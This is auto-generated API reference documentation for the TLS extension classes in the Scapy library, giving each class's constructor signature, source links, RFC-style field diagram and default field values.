+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. TACertSHA1Hash                        


TACertSHA1Hash fields






	idtype

	ByteEnumField

	3



	id

	StrFixedLenField

	None











	
guess_payload_class(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/extensions.py#L299-L300]

	








	
class scapy.layers.tls.extensions.TAKeySHA1Hash(_pkt, /, *, idtype=1, id=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/extensions.py#L271-L277]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     IDTYPE    |                       ID                      |
+-+-+-+-+-+-+-+-+                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                        Fig. TAKeySHA1Hash                        


TAKeySHA1Hash fields






	idtype

	ByteEnumField

	1



	id

	StrFixedLenField

	None











	
guess_payload_class(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/extensions.py#L276-L277]

	








	
class scapy.layers.tls.extensions.TAPreAgreed(_pkt, /, *, idtype=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/extensions.py#L263-L268]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     IDTYPE    |
+-+-+-+-+-+-+-+-+

                         Fig. TAPreAgreed                         


TAPreAgreed fields






	idtype

	ByteEnumField

	0











	
guess_payload_class(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/extensions.py#L267-L268]

	








	
class scapy.layers.tls.extensions.TAX509Name(_pkt, /, *, idtype=2, dnlen=None, dn=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/extensions.py#L280-L291]

	Bases: Packet

XXX Section 3.4 of RFC 4366. Implement a more specific DNField
rather than current StrLenField.


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     IDTYPE    |             DNLEN             |       DN      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                         Fig. TAX509Name                          


TAX509Name fields






	idtype

	ByteEnumField

	2



	dnlen

	FieldLenField

	None



	dn

	StrLenField

	b''











	
guess_payload_class(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/extensions.py#L290-L291]

	








	
class scapy.layers.tls.extensions.TLS_Ext_ALPN(_pkt, /, *, type=16, len=None, protocolslen=None, protocols=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/extensions.py#L517-L523]

	Bases: TLS_Ext_PrettyPacketList


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          PROTOCOLSLEN         |           PROTOCOLS           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. TLS_Ext_ALPN                         


TLS_Ext_ALPN fields






	type

	ShortEnumField

	16



	len

	MayEnd

	None



	protocolslen

	FieldLenField

	None



	protocols

	ProtocolListField

	[]















	
class scapy.layers.tls.extensions.TLS_Ext_CSR(_pkt, /, *, type=5, len=None, stype=None, req=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/extensions.py#L376-L382]

	Bases: TLS_Ext_Unknown


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     STYPE     |              REQ              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. TLS_Ext_CSR                         


TLS_Ext_CSR fields






	type

	ShortEnumField

	5



	len

	MayEnd

	None



	stype

	ByteEnumField

	None



	req

	_StatusReqField

	[]















	
class scapy.layers.tls.extensions.TLS_Ext_ClientAuthz(_pkt, /, *, type=7, len=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/extensions.py#L395-L400]

	Bases: TLS_Ext_Unknown

XXX Unsupported


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. TLS_Ext_ClientAuthz                     


TLS_Ext_ClientAuthz fields






	type

	ShortEnumField

	7



	len

	MayEnd

	None















	
class scapy.layers.tls.extensions.TLS_Ext_ClientCertType(_pkt, /, *, type=9, len=None, ctypeslen=None, ctypes=[0, 1])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/extensions.py#L414-L422]

	Bases: TLS_Ext_Unknown


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           CTYPESLEN           |             CTYPES            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. TLS_Ext_ClientCertType                    


TLS_Ext_ClientCertType fields






	type

	ShortEnumField

	9



	len

	MayEnd

	None



	ctypeslen

	FieldLenField

	None



	ctypes

	FieldListField

	[0, 1]















	
class scapy.layers.tls.extensions.TLS_Ext_ClientCertURL(_pkt, /, *, type=2, len=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/extensions.py#L251-L254]

	Bases: TLS_Ext_Unknown


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. TLS_Ext_ClientCertURL                    


TLS_Ext_ClientCertURL fields






	type

	ShortEnumField

	2



	len

	MayEnd

	None















	
class scapy.layers.tls.extensions.TLS_Ext_Cookie(_pkt, /, *, type=44, len=None, cookielen=None, cookie=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/extensions.py#L617-L629]

	Bases: TLS_Ext_Unknown


	
aliastypes

	




	
build()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/extensions.py#L625-L629]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           COOKIELEN           |             COOKIE            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. TLS_Ext_Cookie                        


TLS_Ext_Cookie fields






	type

	ShortEnumField

	44



	len

	MayEnd

	None



	cookielen

	FieldLenField

	None



	cookie

	XStrLenField

	b''















	
class scapy.layers.tls.extensions.TLS_Ext_EarlyDataIndication(_pkt, /, *, type=42, len=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/extensions.py#L570-L573]

	Bases: TLS_Ext_Unknown


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                 Fig. TLS_Ext_EarlyDataIndication                 


TLS_Ext_EarlyDataIndication fields






	type

	ShortEnumField

	42



	len

	MayEnd

	None















	
class scapy.layers.tls.extensions.TLS_Ext_EarlyDataIndicationTicket(_pkt, /, *, type=42, len=None, max_early_data_size=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/extensions.py#L576-L580]

	Bases: TLS_Ext_Unknown


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                      MAX EARLY DATA SIZE                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

              Fig. TLS_Ext_EarlyDataIndicationTicket              


TLS_Ext_EarlyDataIndicationTicket fields






	type

	ShortEnumField

	42



	len

	MayEnd

	None



	max_early_data_size

	IntField

	0















	
class scapy.layers.tls.extensions.TLS_Ext_EncryptThenMAC(_pkt, /, *, type=22, len=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/extensions.py#L534-L537]

	Bases: TLS_Ext_Unknown


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. TLS_Ext_EncryptThenMAC                    


TLS_Ext_EncryptThenMAC fields






	type

	ShortEnumField

	22



	len

	MayEnd

	None















	
class scapy.layers.tls.extensions.TLS_Ext_EncryptedServerName(_pkt, /, *, type=65486, len=None, cipher=None, key_exchange_group=None, key_exchange_len=None, key_exchange=b'', record_digest_len=None, record_digest=b'', encrypted_sni_len=None, encrypted_sni=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/extensions.py#L220-L238]

	Bases: TLS_Ext_PrettyPacketList


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             CIPHER            |       KEY EXCHANGE GROUP      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        KEY EXCHANGE LEN       |          KEY EXCHANGE         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       RECORD DIGEST LEN       |         RECORD DIGEST         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       ENCRYPTED SNI LEN       |         ENCRYPTED SNI         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                 Fig. TLS_Ext_EncryptedServerName                 


TLS_Ext_EncryptedServerName fields






	type

	ShortEnumField

	65486



	len

	MayEnd

	None



	cipher

	EnumField

	None



	key_exchange_group

	ShortEnumField

	None



	key_exchange_len

	FieldLenField

	None



	key_exchange

	XStrLenField

	b''



	record_digest_len

	FieldLenField

	None



	record_digest

	XStrLenField

	b''



	encrypted_sni_len

	FieldLenField

	None



	encrypted_sni

	XStrLenField

	b''















	
class scapy.layers.tls.extensions.TLS_Ext_ExtendedMasterSecret(_pkt, /, *, type=23, len=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/extensions.py#L540-L543]

	Bases: TLS_Ext_Unknown


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                Fig. TLS_Ext_ExtendedMasterSecret                 


TLS_Ext_ExtendedMasterSecret fields






	type

	ShortEnumField

	23



	len

	MayEnd

	None















	
class scapy.layers.tls.extensions.TLS_Ext_Heartbeat(_pkt, /, *, type=15, len=None, heartbeat_mode=2)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/extensions.py#L492-L498]

	Bases: TLS_Ext_Unknown


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| HEARTBEAT MODE|
+-+-+-+-+-+-+-+-+

                      Fig. TLS_Ext_Heartbeat                      


TLS_Ext_Heartbeat fields






	type

	ShortEnumField

	15



	len

	MayEnd

	None



	heartbeat_mode

	ByteEnumField

	2















	
class scapy.layers.tls.extensions.TLS_Ext_KeyShare(_pkt, /, *, type=51, len=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/extensions.py#L558-L561]

	Bases: TLS_Ext_Unknown


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. TLS_Ext_KeyShare                       


TLS_Ext_KeyShare fields






	type

	ShortEnumField

	51



	len

	MayEnd

	None















	
class scapy.layers.tls.extensions.TLS_Ext_MaxFragLen(_pkt, /, *, type=1, len=None, maxfraglen=4)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/extensions.py#L241-L248]

	Bases: TLS_Ext_Unknown


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   MAXFRAGLEN  |
+-+-+-+-+-+-+-+-+

                     Fig. TLS_Ext_MaxFragLen                      


TLS_Ext_MaxFragLen fields






	type

	ShortEnumField

	1



	len

	MayEnd

	None



	maxfraglen

	ByteEnumField

	4















	
class scapy.layers.tls.extensions.TLS_Ext_NPN(_pkt, /, *, type=13172, len=None, protocols=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/extensions.py#L654-L662]

	Bases: TLS_Ext_PrettyPacketList

Defined in RFC-draft-agl-tls-nextprotoneg-03. Deprecated in favour of ALPN.


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           PROTOCOLS           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. TLS_Ext_NPN                         


TLS_Ext_NPN fields






	type

	ShortEnumField

	13172



	len

	FieldLenField

	None



	protocols

	ProtocolListField

	[]















	
class scapy.layers.tls.extensions.TLS_Ext_PSKKeyExchangeModes(_pkt, /, *, type=45, len=None, kxmodeslen=None, kxmodes=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/extensions.py#L635-L644]

	Bases: TLS_Ext_Unknown


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   KXMODESLEN  |            KXMODES            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                 Fig. TLS_Ext_PSKKeyExchangeModes                 


TLS_Ext_PSKKeyExchangeModes fields






	type

	ShortEnumField

	45



	len

	MayEnd

	None



	kxmodeslen

	FieldLenField

	None



	kxmodes

	FieldListField

	[]















	
class scapy.layers.tls.extensions.TLS_Ext_Padding(_pkt, /, *, type=21, len=None, padding=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/extensions.py#L526-L531]

	Bases: TLS_Ext_Unknown


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            PADDING            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. TLS_Ext_Padding                       


TLS_Ext_Padding fields






	type

	ShortEnumField

	21



	len

	FieldLenField

	None



	padding

	StrLenField

	b''















	
class scapy.layers.tls.extensions.TLS_Ext_PostHandshakeAuth(_pkt, /, *, type=49, len=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/extensions.py#L665-L668]

	Bases: TLS_Ext_Unknown


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. TLS_Ext_PostHandshakeAuth                  


TLS_Ext_PostHandshakeAuth fields






	type

	ShortEnumField

	49



	len

	MayEnd

	None















	
class scapy.layers.tls.extensions.TLS_Ext_PreSharedKey(_pkt, /, *, type=41, len=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/extensions.py#L564-L567]

	Bases: TLS_Ext_Unknown


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. TLS_Ext_PreSharedKey                     


TLS_Ext_PreSharedKey fields






	type

	ShortEnumField

	41



	len

	MayEnd

	None















	
class scapy.layers.tls.extensions.TLS_Ext_PrettyPacketList(_pkt, /, *, type=None, len=None, val=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/extensions.py#L128-L174]

	Bases: TLS_Ext_Unknown

Dummy extension used for server_name/ALPN/NPN for a lighter representation:
the final field is showed as a 1-line list rather than as lots of packets.
XXX Define a new condition for packet lists in Packet._show_or_dump?


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              VAL              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. TLS_Ext_PrettyPacketList                   


TLS_Ext_PrettyPacketList fields






	type

	ShortEnumField

	None



	len

	FieldLenField

	None



	val

	StrLenField

	b''















	
class scapy.layers.tls.extensions.TLS_Ext_RecordSizeLimit(_pkt, /, *, type=28, len=None, record_size_limit=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/extensions.py#L693-L697]

	Bases: TLS_Ext_Unknown


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       RECORD SIZE LIMIT       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. TLS_Ext_RecordSizeLimit                   


TLS_Ext_RecordSizeLimit fields






	type

	ShortEnumField

	28



	len

	MayEnd

	None



	record_size_limit

	ShortField

	None















	
class scapy.layers.tls.extensions.TLS_Ext_RenegotiationInfo(_pkt, /, *, type=65281, len=None, reneg_conn_len=None, renegotiated_connection=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/extensions.py#L683-L690]

	Bases: TLS_Ext_Unknown


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| RENEG CONN LEN|    RENEGOTIATED CONNECTION    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. TLS_Ext_RenegotiationInfo                  


TLS_Ext_RenegotiationInfo fields






	type

	ShortEnumField

	65281



	len

	MayEnd

	None



	reneg_conn_len

	FieldLenField

	None



	renegotiated_connection

	StrLenField

	b''















	
class scapy.layers.tls.extensions.TLS_Ext_ServerAuthz(_pkt, /, *, type=8, len=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/extensions.py#L403-L408]

	Bases: TLS_Ext_Unknown

XXX Unsupported


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. TLS_Ext_ServerAuthz                     


TLS_Ext_ServerAuthz fields






	type

	ShortEnumField

	8



	len

	MayEnd

	None















	
class scapy.layers.tls.extensions.TLS_Ext_ServerCertType(_pkt, /, *, type=9, len=None, ctype=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/extensions.py#L425-L429]

	Bases: TLS_Ext_Unknown


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     CTYPE     |
+-+-+-+-+-+-+-+-+

                   Fig. TLS_Ext_ServerCertType                    


TLS_Ext_ServerCertType fields






	type

	ShortEnumField

	9



	len

	MayEnd

	None



	ctype

	ByteEnumField

	None















	
class scapy.layers.tls.extensions.TLS_Ext_ServerName(_pkt, /, *, type=0, len=None, servernameslen=None, servernames=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/extensions.py#L209-L217]

	Bases: TLS_Ext_PrettyPacketList


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         SERVERNAMESLEN        |          SERVERNAMES          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. TLS_Ext_ServerName                      


TLS_Ext_ServerName fields






	type

	ShortEnumField

	0



	len

	MayEnd

	None



	servernameslen

	ServerLenField

	None



	servernames

	ServerListField

	[]















	
